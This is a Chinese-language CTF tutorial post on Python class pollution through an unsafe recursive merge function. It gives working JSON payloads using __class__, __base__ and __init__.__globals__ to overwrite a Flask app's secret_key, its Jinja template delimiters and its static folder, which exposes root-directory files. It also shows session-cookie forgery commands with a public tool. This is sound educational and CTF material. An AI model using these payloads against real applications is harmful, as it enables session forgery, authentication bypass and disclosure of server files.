文章

python原型链污染

python并没有JS中的原型链概念,但有一个类似的机制,即:类继承和方法解析顺序(_ _ mor_ _),可以通过调用c.__mro__来查看c的方法解析顺序

关键代码--合并函数:

class father:
    secret = "xxxx"
class son_a(father):
    pass
class son_b(father):
    pass

# 将源字典 src 中的键值对合并到目标对象 dst 中
def merge(src, dst):
    for k, v in src.items():
    	#如果dst是字典或者支持`__getitem__`
        if hasattr(dst, '__getitem__'):
        	#如果dst存在键名为`k`的键.且对应的v(键值)是列表,则进行嵌套递归
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            #如果不存在k或者v不是一个字典,则直接赋值
            else:
                dst[k] = v
        #如果dst是一个对象,并且src中的键值v是一个列表
        elif hasattr(dst, k) and type(v) == dict:
            #getattr():获取对象中某属性的值
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = son_b()
payload = 
{
    "__class__": 
    {
        "__base__":
        {
            "secret": "no"
        }
    }
}

print(son_a.secret) # xxxx
print(instance.secret) # xxxx

merge(payload, instance)
print(son_a.secret) # no
print(instance.secret) # nomereg()函数解析

mereg函数解析

'''
src=payload,dst=instance
第一次循环,
    dst是对象,有__class__这个属性,并且src.v是列表,进入elif
    merge({"__base__":{"secret": "no"}},son_b)
第二次循环:
    src={
        "__base__":
        {
            "secret": "no"
        }
    }
    k="__base__"
    v={"secret": "no"}
    dst=son_b(instance的__class__属性)
    由于src是字典并且dst(son_b)含有__base__属性并且v是字典,进入if..if
    merge({"secret": "no"},class father)
第三次循环:
    {"secret": "no"}是字典,
    k="secret"
    v="no"
    father中含有secret属性,但v不是列表,所以直接覆盖father的secret属性

'''

关键

主要是找目标类与切入点或者实例之间有没有继承关系

如果存在直接继承关系,则可以直接使用__base__属性找到集成的父类,进行污染

但是如果目标类与切入点之间没有没有父子继承关系,这时候就要利用全局变量了

全局变量

__init__:内置的初始化方法,当__init__没有被重写作为函数的时候,其数据类型会被当作装饰器,而装饰器都具有一个全局属性(__globals__)(返回的是字典)

1.

x = 10  # 全局变量

def fun():
    print(x)  # 访问全局变量

# 访问函数的 __globals__ 属性
print(fun.__globals__)
#输出字典
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000002300BFB52D0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\download-edge\\easy_polluted\\src\\1.py', '__cached__': None, 'x': 10, 'fun': <function fun at 0x000002300C088CC0>}
#输出存在全局变量X和函数fun

2:

a=1
def fun():
	pass
class a:
	def __init__(self):
		pass
print(fun.__globals__==globals()==a.__init__.__globals__)

所以可以通过`__init__.__globals__`来进行污染

payload:
#以污染seesion加密所需要的key为例:
{
  "__init__":{
        "__globals__":{
                  "app":{
                     "secret_key":"pass" 
                        }    
                      }
             }
}

语法标识符的污染

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>index</title>
</head>
<body>
    这又是什么jinja语法啊!
    [#flag#]
</body>
</html>

有时候会遇到以上情况,此种情况jinja模板无法解析[#flag#],也就无法显示flag,那么语法标识符是否可以被污染替换呢?

在flask\app.py(flask类)中存在以下函数

   @locked_cached_property
    def jinja_env(self) -> Environment:
        """The Jinja environment used to load templates.

        The environment is created the first time this property is
        accessed. Changing :attr:`jinja_options` after that will have no
        effect.
        """
        return self.create_jinja_environment()
第一次访问此属性时创建环境。之后更改:attr:' jinja_OPTIONS '将没有任何影响。

解释:

@locked_cached_property:
这是一个装饰器,类似于 @property,但它的主要功能是缓存计算结果。也就是说,当你第一次访问 jinja_env 这个属性时,它会调用 self.create_jinja_environment() 创建 Jinja 环境,并将这个结果缓存起来。之后每次再访问这个属性时,都会直接返回第一次计算的结果,而不会再次调用 self.create_jinja_environment()。
jinja_env():
这个方法定义了 Flask 应用的 Jinja 环境(Environment)。Jinja 是 Flask 用来渲染模板的模板引擎。通过 self.create_jinja_environment(),Flask 创建并配置 Jinja 环境。由于 @locked_cached_property 的作用,这个环境只会在第一次访问时被创建,之后都使用缓存的环境

继续跟进create_jinja_environment():

    def create_jinja_environment(self) -> Environment:
        """Create the Jinja environment based on :attr:`jinja_options`
        and the various Jinja-related methods of the app. Changing
        :attr:`jinja_options` after this will have no effect. Also adds
        Flask-related globals and filters to the environment.

        .. versionchanged:: 0.11
           ``Environment.auto_reload`` set in accordance with
           ``TEMPLATES_AUTO_RELOAD`` configuration option.

        .. versionadded:: 0.5
        """
        options = dict(self.jinja_options)

        if "autoescape" not in options:
            options["autoescape"] = self.select_jinja_autoescape

        if "auto_reload" not in options:
            auto_reload = self.config["TEMPLATES_AUTO_RELOAD"]

            if auto_reload is None:
                auto_reload = self.debug

            options["auto_reload"] = auto_reload

        rv = self.jinja_environment(self, **options)
        rv.globals.update(
            url_for=self.url_for,
            get_flashed_messages=get_flashed_messages,
            config=self.config,
            # request, session and g are normally added with the
            # context processor for efficiency reasons but for imported
            # templates we also want the proxies in there.
            request=request,
            session=session,
            g=g,
        )
        rv.policies["json.dumps_function"] = self.json.dumps
        return rv

解释:

rv = self.jinja_environment(self, **options)
可发现jinja_env返回的就是Flask中的Environment

variable_start_string

在 Flask 中,variable_start_string 是 Jinja2 模板引擎中的一个配置项,用来定义模板中变量的起始标记符号。支持自定义标识符

app.jinja_env.variable_start_string = '<<'
app.jinja_env.variable_end_string = '>>'

print(Evil.__init__.__globals__['app'].jinja_env.variable_start_string)
print(Evil.__init__.__globals__['app'].jinja_env.variable_end_string)

搭配mereg函数

payload:
{
    "__init__" : {
        "__globals__" : {
            "app" : {
                    "jinja_env" :{
"variable_start_string" : "[[","variable_end_string":"]]"
}        
            }
        }
    }

要注意的是由于jinja_env使用了locked_cached_property,当第一次创建环境后,再访问的就是一创建的缓存了,所以我们需要在Flask启动以后先输入payload再访问路由,这样就可以做到先污染再访问模板

flask session伪造

flask中session的工作流程

1.客户端发送请求:
	初次请求时(例如登录请求、浏览页面等),客户端通常没有session_ID
2.服务器创建session数据:
	当检测到请求后flask会生成一个唯一的session_ID,用于标识当前用户的会话。同时创建一个session并将会话数据(如用户名、用户角色、购物车等)存储在服务器端的内存、数据库或其他存储系统中。该数据会与 session ID 关联。
3.服务器发送session_ID,客户端存储:
	服务器会将生成的session_ID以SetCookie的形式发送给客户端
4.客户端后续发送请求携带session_ID
	通常在数据报文中以Cookie:session=xxx的形式

flask session_ID的格式

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的

eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据                                     时间戳       签名 

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

session伪造工具:https://github.com/noraj/flask-session-cookie-manager

加密:
python flask_session_cookie_manager3.py encode -s 'admin' -t "{'password':'admin','username':'adminer'}"
                                               /secret_key/
解密:
python flask_session_cookie_manager3.py decode -c 'eyJwYXNzd29yZCI6bnVsbCwidXNlcm5hbWUiOm51bGx9.ZuwMNw.rdttttAm56lJcedq4mcgeC98FR8'

static_folder

用来指定存储静态文件的文件夹路径,包括CSS、javascript、图像等

flask默认使用名为static的文件夹存储这些静态文件,通常结构如下:

/my_flask_app
    /static
        /css
            style.css
        /js
            script.js
        /images
            logo.png
    /templates
        index.html
    app.py

此值可以被修改,默认值是static,在源代码中进行修改:

app = Flask(__name__, static_folder='/')

修改为根目录后,目录结构改为:

/my_flask_app
    /css
        style.css
    /js
        script.js
    app.py
    flag

如果此时访问/static/css/style.css实际上就会被映射到/css/style.css

污染:

{"__init__" : {"__globals__" :{"app" :{"_static_folder":"/"}}}}

由于在flask中,静态文件的访问不会经过路由检测,默认的访问静态资源的URL是xxx/static,可以通过static_url_path来进行修改

污染后,访问xxx/static/就可以访问根目录下的文件了

参考文章:ctfshow 西瓜杯 Web 复现 - sleeper (makkapakka996.github.io)

License:  CC BY 4.0